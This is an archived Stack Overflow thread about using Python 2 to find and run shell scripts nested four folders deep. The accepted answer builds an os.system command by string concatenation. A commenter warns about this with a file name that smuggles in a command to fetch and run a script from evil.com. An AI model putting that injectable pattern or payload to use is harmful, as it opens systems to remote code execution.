Title: Python, step through folders (to run scripts)
Tags: python;python-2.6
Question: Since Im unfamiliar with Python I thought i'd come here.
Anyways I have several Folders (lets say 20 folders)
Within each folder is more folders (lets say 5 per)
and within EACH one of these folders is another folder, and within THAT is a script I need to run.
The script is ran the same way 'ie':sh script.sh
Basically I need to run this script for each of these folders, problem is I have no clue how to step into each folder (that has the script) which is 4 levels down from the original folder.
So there are a total of like 120 scripts that need to be ran the same way (this script also returns a number for instance (1 for success, 0 for failure) that I need to record (shouldn't be too hard to figure out)
What would be the best way to go about this? The Checking results I think I can figure out, but stepping through all these subfolders Im honestly not well versed in python to know about.
Just so everyones clear the folder structure is like this:
Top Level (20 or so folders)
--&gt;1 Below (5 or so Folders)
-----&gt;1 below one of these 5 folders (only 1 folder is contained)
---------&gt;1 below that one folder (here is where the script resides)
Don't ask me why the folders are structured this way.....lol. This would be done in python 2 preferably.
Comment: Hmmm never thought about that lol. but the problem would be getting the return data :/

Comment: Do you need a solution in Python?  Why not simply `for script in */*/*/*.sh; do sh $script; done` in bash?

Here is the accepted answer: A bit overkill, but it should work:
import os
root = '/foo/'
for directory, subdirectories, files in os.walk(root):
for file in files:
if os.path.splitext(file)[-1].lower() == '.sh':
os.system('sh ' + os.path.join(directory, file))
Comment for this answer: Yes, it does it for all `sh` files.
Comment for this answer: Shouldn't `root` and `root_dir` be the same?
Comment for this answer: Would this do it for ALL the .sh files (remember there are like 120 of them)? and im assuming under os.system I would do my run command?
Comment for this answer: Awesome thanks! Where would I put the actual filename though (they are all called the same thing, the shell script I mean.)
Comment for this answer: Meet my favorite file, `; sh -c "$(curl evil.com/sh)"; .sh`

Here is another answer: import glob,subprocess
for script in glob.glob('*/*/*/*.sh'):
s = subprocess.Popen([script], stdout=subprocess.PIPE, stderr=subprocess.PIPE)
stdoutdata,stderrdata = s.communicate()
returncode = s.returncode
# Do something with stdoutdata, returncode etc. here
Comment for this answer: could I do something like result=subprocess.Popen([script]).communicate() to get the output of what the script outputs?
Comment for this answer: @Sauron Precisely. Updated the answer to reflect that.

{'source': 'StackExchangeDataset', 'subset': 'stackoverflow.com', 'metadata': {'AnswerCount': 2, 'CommentCount': 2, 'ContentLicense': 'CC BY-SA 3.0', 'CreationDate': '2011:00:05/17/11', 'FavoriteCount': None, 'PostTypeId': 1, 'Tags': '<python><python-2.6>', 'Title': 'Python, step through folders (to run scripts)', 'ViewCount': 882, 'id': 6033441, 'user_AboutMe': None, 'user_AccountId': None, 'user_DisplayName': None, 'user_Reputation': None, 'user_Views': None, 'user_id': None}}